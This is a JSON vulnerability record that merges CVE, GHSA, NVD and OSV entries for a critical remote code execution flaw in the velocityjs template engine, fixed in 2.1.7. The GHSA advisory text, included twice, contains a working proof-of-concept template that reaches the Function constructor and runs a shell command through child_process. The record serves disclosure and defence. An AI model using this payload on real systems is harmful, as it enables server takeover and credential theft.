{"id":"CVE-2026-73649","aliases":["EUVD-2026-58192","GHSA-7gfh-x38p-prh3","ROOT-APP-NPM-GHSA-7gfh-x38p-prh3"],"status":"published","title":"Velocity.js: Remote Code Execution via property-read to Function constructor (bypass of CVE-2026-44966 fix)","description":"Velocity.js is a JavaScript implementation of the Apache Velocity template engine. Prior to 2.1.7, the earlier fix for CVE-2026-44966 filtered constructor, __proto__, and prototype only in the #set assignment handler in src/compile/set.ts, while property-read expressions in src/compile/references.ts remained unfiltered. The getReferences() flow called getAttributes(), whose property access allowed an attacker-controlled template to traverse constructor.constructor to the JavaScript Function constructor. The #set handler validated only the assignment target and did not inspect the right-hand property-read expression, allowing arbitrary shell commands, environment-variable access, cloud-credential access, and internal-network access in the server process. This issue is fixed in version 2.1.7.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00726,"percentile":0.5444,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2026-07-22T15:13:47Z","modified":"2026-10-28T02:30:52Z","fixes":[{"ecosystem":"npm","package":"velocityjs","fixed_in":["2.1.7"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"@rootio/velocityjs","fixed_in":["1.1.5-root.io.1","1.1.3-root.io.1","2.0.6-root.io.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"velocityjs","fixed_in":["1.1.5-aikido.1","1.1.3-aikido.1","2.0.6-aikido.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"velocityjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.1.6"},{"fixed":"2.1.7"}]}]},{"source":"osv","ecosystem":"npm","package":"velocityjs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.7"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/velocityjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.5-root.io.1"},{"fixed":"1.1.3-root.io.1"},{"fixed":"2.0.6-root.io.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"velocityjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.5-aikido.1"},{"fixed":"1.1.3-aikido.1"},{"fixed":"2.0.6-aikido.1"}]}]}],"products":[{"vendor":"shepherdwind","product":"velocity.js"}],"references":[{"url":"https://github.com/shepherdwind/velocity.js/security/advisories/GHSA-7gfh-x38p-prh3","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/shepherdwind/velocity.js/pull/192","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/shepherdwind/velocity.js/commit/f8e47a6c4607249b9c967d3a1ced959b4dd64dba","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/shepherdwind/velocity.js/releases/tag/v2.1.7","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-7gfh-x38p-prh3"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/73xxx/CVE-2026-73649.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73649","tags":["advisory"]},{"url":"https://github.com/shepherdwind/velocity.js","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-73649","title":"Velocity.js: Remote Code Execution via property-read to Function constructor (bypass of CVE-2026-44966 fix)","description":"Velocity.js is a JavaScript implementation of the Apache Velocity template engine. Prior to 2.1.7, the earlier fix for CVE-2026-44966 filtered constructor, __proto__, and prototype only in the #set assignment handler in src/compile/set.ts, while property-read expressions in src/compile/references.ts remained unfiltered. The getReferences() flow called getAttributes(), whose property access allowed an attacker-controlled template to traverse constructor.constructor to the JavaScript Function constructor. The #set handler validated only the assignment target and did not inspect the right-hand property-read expression, allowing arbitrary shell commands, environment-variable access, cloud-credential access, and internal-network access in the server process. This issue is fixed in version 2.1.7.","status":"published","published":"2026-08-13T18:05:31.929Z","modified":"2026-08-14T16:42:31.371Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T13:43:44.898272Z"}],"euvd":[{"id":"EUVD-2026-58192","description":"Velocity.js is a JavaScript implementation of the Apache Velocity template engine. Prior to 2.1.7, the earlier fix for CVE-2026-44966 filtered constructor, __proto__, and prototype only in the #set assignment handler in src/compile/set.ts, while property-read expressions in src/compile/references.ts remained unfiltered. The getReferences() flow called getAttributes(), whose property access allowed an attacker-controlled template to traverse constructor.constructor to the JavaScript Function constructor. The #set handler validated only the assignment target and did not inspect the right-hand property-read expression, allowing arbitrary shell commands, environment-variable access, cloud-credential access, and internal-network access in the server process. This issue is fixed in version 2.1.7.","status":"published","published":"2026-08-13T18:05:31Z","modified":"2026-08-14T16:42:31Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:01:54.570698Z"}],"ghsa":[{"id":"GHSA-7gfh-x38p-prh3","title":"Velocity.js: Remote Code Execution via property-read to Function constructor (bypass of GHSA-j658-c2gf-x6pq fix)","description":"### Summary\n\nRemote Code Execution (RCE) in velocityjs v2.1.6 via property-read to the Function constructor. This bypasses the fix for GHSA-j658-c2gf-x6pq (\"Prototype Pollution in #set path assignment\") — that advisory blocked constructor/__proto__/prototype only in the #set assignment handler (set.cjs), but property read expressions are unfiltered. Any application rendering attacker-controlled Velocity templates is vulnerable to arbitrary code execution on the server.\n\n### Details\n\nGHSA-j658-c2gf-x6pq added isBlockedPathKey() to dist/cjs/compile/set.cjs:35-43, which blocks __proto__, constructor, and prototype keys. However, this check only runs when the #set directive assigns a value — it validates the assignment target path, not the value expression being evaluated.\nThe value expression is evaluated via getReferences() in dist/cjs/compile/references.cjs:16, which calls getAttributes() at line 81. The property access at line 88-89 has no filtering:\n// references.cjs:81-91\ngetAttributes(property, baseRef, ast) {\n  if (property.type === \"property\") {\n    return baseRef[property.id];  // ← NO BLOCK on \"constructor\", \"prototype\", etc.\n  }\n  ...\n}\nMeanwhile, set.cjs:35-43 properly blocks these keys, but only for the #set target:\n// set.cjs:35-43\nisBlockedPathKey(baseRef, key, isEnd) {\n  if (key === PROTO_KEY) return true;          // \"__proto__\"\n  if (key === \"prototype\" \u0026\u0026 typeof baseRef === \"function\") return true;\n  return !isEnd \u0026\u0026 PROTOTYPE_CHAIN_KEYS.has(key) \u0026\u0026 !hasOwnProperty(baseRef, key);\n}\nThe exploit chain:\n1. $x.constructor → getAttributes() → {}[\"constructor\"] → Object\n2. .constructor → getAttributes() → Object[\"constructor\"] → Function\n3. (\"return process.mainModule.require('child_process').execSync('whoami')\") → calls Function(...) → creates a function\n4. The #set assigns the result to $f, which is then rendered as $r\nThe #set handler validates $f as the assignment target (which passes — f is not blocked), but never inspects the right-hand expression for prototype chain traversal.\n\n### PoC\n\nconst velocity = require('velocityjs');\n\nconst template = \"#set($f=$x.constructor.constructor(\\\"return process.mainModule.require('child_process').execSync('whoami').toString()\\\"))#set($r=$f())$r\";\n\nconsole.log(velocity.render(template, { x: {} }));\n// Output: \u003ccurrent OS username\u003e\nVerified on velocityjs v2.1.6, Node.js v24.15.0, Windows.\n\n### Impact\n\nType: Remote Code Execution (RCE)\n\nAny application that renders attacker-controlled Velocity templates using velocityjs is vulnerable to full server compromise. The attacker can execute arbitrary shell commands, read environment variables, access cloud credentials, and pivot to internal network resources.\nThe existing advisory GHSA-j658-c2gf-x6pq established the threat model: \"any app rendering attacker-controlled templates.\" This finding demonstrates that the fix was incomplete — the #set blocking was added but property read expressions remain unfiltered, making the issue strictly worse (RCE vs prototype pollution).\n\n### Patches\n\nFixed in [velocityjs 2.1.7](https://www.npmjs.com/package/velocityjs/v/2.1.7). The fix was merged in [pull request #192](https://github.com/shepherdwind/velocity.js/pull/192) and released as [v2.1.7](https://github.com/shepherdwind/velocity.js/releases/tag/v2.1.7). Users should upgrade to version 2.1.7 or later.","status":"published","published":"2026-07-24T16:21:22Z","modified":"2026-08-13T18:05:39Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:41:00.097339Z"}],"nvd":[{"id":"CVE-2026-73649","description":"Velocity.js is a JavaScript implementation of the Apache Velocity template engine. Prior to 2.1.7, the earlier fix for CVE-2026-44966 filtered constructor, __proto__, and prototype only in the #set assignment handler in src/compile/set.ts, while property-read expressions in src/compile/references.ts remained unfiltered. The getReferences() flow called getAttributes(), whose property access allowed an attacker-controlled template to traverse constructor.constructor to the JavaScript Function constructor. The #set handler validated only the assignment target and did not inspect the right-hand property-read expression, allowing arbitrary shell commands, environment-variable access, cloud-credential access, and internal-network access in the server process. This issue is fixed in version 2.1.7.","status":"published","published":"2026-08-13T18:18:20.793Z","modified":"2026-10-24T15:10:00.19Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:37.557758Z"}],"osv":[{"id":"CVE-2026-73649","title":"Velocity.js: Remote Code Execution via property-read to Function constructor (bypass of CVE-2026-44966 fix)","description":"Velocity.js is a JavaScript implementation of the Apache Velocity template engine. Prior to 2.1.7, the earlier fix for CVE-2026-44966 filtered constructor, __proto__, and prototype only in the #set assignment handler in src/compile/set.ts, while property-read expressions in src/compile/references.ts remained unfiltered. The getReferences() flow called getAttributes(), whose property access allowed an attacker-controlled template to traverse constructor.constructor to the JavaScript Function constructor. The #set handler validated only the assignment target and did not inspect the right-hand property-read expression, allowing arbitrary shell commands, environment-variable access, cloud-credential access, and internal-network access in the server process. This issue is fixed in version 2.1.7.","status":"published","published":"2026-08-13T18:05:31.929Z","modified":"2026-10-28T02:30:52.156569676Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:16.365946Z"},{"id":"GHSA-7gfh-x38p-prh3","title":"Velocity.js: Remote Code Execution via property-read to Function constructor (bypass of GHSA-j658-c2gf-x6pq fix)","description":"### Summary\n\nRemote Code Execution (RCE) in velocityjs v2.1.6 via property-read to the Function constructor. This bypasses the fix for GHSA-j658-c2gf-x6pq (\"Prototype Pollution in #set path assignment\") — that advisory blocked constructor/__proto__/prototype only in the #set assignment handler (set.cjs), but property read expressions are unfiltered. Any application rendering attacker-controlled Velocity templates is vulnerable to arbitrary code execution on the server.\n\n### Details\n\nGHSA-j658-c2gf-x6pq added isBlockedPathKey() to dist/cjs/compile/set.cjs:35-43, which blocks __proto__, constructor, and prototype keys. However, this check only runs when the #set directive assigns a value — it validates the assignment target path, not the value expression being evaluated.\nThe value expression is evaluated via getReferences() in dist/cjs/compile/references.cjs:16, which calls getAttributes() at line 81. The property access at line 88-89 has no filtering:\n// references.cjs:81-91\ngetAttributes(property, baseRef, ast) {\n  if (property.type === \"property\") {\n    return baseRef[property.id];  // ← NO BLOCK on \"constructor\", \"prototype\", etc.\n  }\n  ...\n}\nMeanwhile, set.cjs:35-43 properly blocks these keys, but only for the #set target:\n// set.cjs:35-43\nisBlockedPathKey(baseRef, key, isEnd) {\n  if (key === PROTO_KEY) return true;          // \"__proto__\"\n  if (key === \"prototype\" \u0026\u0026 typeof baseRef === \"function\") return true;\n  return !isEnd \u0026\u0026 PROTOTYPE_CHAIN_KEYS.has(key) \u0026\u0026 !hasOwnProperty(baseRef, key);\n}\nThe exploit chain:\n1. $x.constructor → getAttributes() → {}[\"constructor\"] → Object\n2. .constructor → getAttributes() → Object[\"constructor\"] → Function\n3. (\"return process.mainModule.require('child_process').execSync('whoami')\") → calls Function(...) → creates a function\n4. The #set assigns the result to $f, which is then rendered as $r\nThe #set handler validates $f as the assignment target (which passes — f is not blocked), but never inspects the right-hand expression for prototype chain traversal.\n\n### PoC\n\nconst velocity = require('velocityjs');\n\nconst template = \"#set($f=$x.constructor.constructor(\\\"return process.mainModule.require('child_process').execSync('whoami').toString()\\\"))#set($r=$f())$r\";\n\nconsole.log(velocity.render(template, { x: {} }));\n// Output: \u003ccurrent OS username\u003e\nVerified on velocityjs v2.1.6, Node.js v24.15.0, Windows.\n\n### Impact\n\nType: Remote Code Execution (RCE)\n\nAny application that renders attacker-controlled Velocity templates using velocityjs is vulnerable to full server compromise. The attacker can execute arbitrary shell commands, read environment variables, access cloud credentials, and pivot to internal network resources.\nThe existing advisory GHSA-j658-c2gf-x6pq established the threat model: \"any app rendering attacker-controlled templates.\" This finding demonstrates that the fix was incomplete — the #set blocking was added but property read expressions remain unfiltered, making the issue strictly worse (RCE vs prototype pollution).\n\n### Patches\n\nFixed in [velocityjs 2.1.7](https://www.npmjs.com/package/velocityjs/v/2.1.7). The fix was merged in [pull request #192](https://github.com/shepherdwind/velocity.js/pull/192) and released as [v2.1.7](https://github.com/shepherdwind/velocity.js/releases/tag/v2.1.7). Users should upgrade to version 2.1.7 or later.","status":"published","published":"2026-07-24T16:21:22Z","modified":"2026-08-13T18:51:15.840308Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:41.002603Z"},{"id":"ROOT-APP-NPM-GHSA-7gfh-x38p-prh3","title":"GHSA-7gfh-x38p-prh3 in @rootio/velocityjs - Patched by Root","description":"Root has patched GHSA-7gfh-x38p-prh3 in the @rootio/velocityjs package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-07-22T15:13:47Z","modified":"2026-07-22T18:15:06.422749191Z","updated_at":"2026-11-02T15:53:27.940619Z"}]}}
